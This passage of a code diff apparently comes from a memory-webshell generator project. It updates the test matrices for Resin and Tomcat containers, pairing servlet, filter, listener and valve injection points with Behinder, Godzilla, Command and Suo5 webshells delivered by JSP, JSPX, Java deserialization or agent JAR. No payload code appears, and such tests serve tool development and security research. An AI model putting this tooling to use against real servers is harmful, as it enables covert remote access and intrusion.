arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.Deserialize)
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+12
-12
@@ -44,29 +44,29 @@ public class Resin3116ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
|
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
|
||||||
|
|||||||
+12
-12
@@ -44,29 +44,29 @@ public class Resin318ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
|
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
|
||||||
|
|||||||
+12
-12
@@ -43,29 +43,29 @@ public class Resin4058ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
|
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
|
||||||
|
|||||||
+12
-12
@@ -43,29 +43,29 @@ public class Resin4067ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||||
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
|
arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar)
|
||||||
|
|||||||
+16
-16
@@ -43,52 +43,52 @@ public class Tomcat10ContainerTest {
|
|||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSPX),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSPX),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSPX),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSPX),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSPX),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSPX),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSPX),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSPX),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSPX),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSPX),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSPX),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSPX),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSPX),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSPX),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSPX),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSPX),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSPX),
|
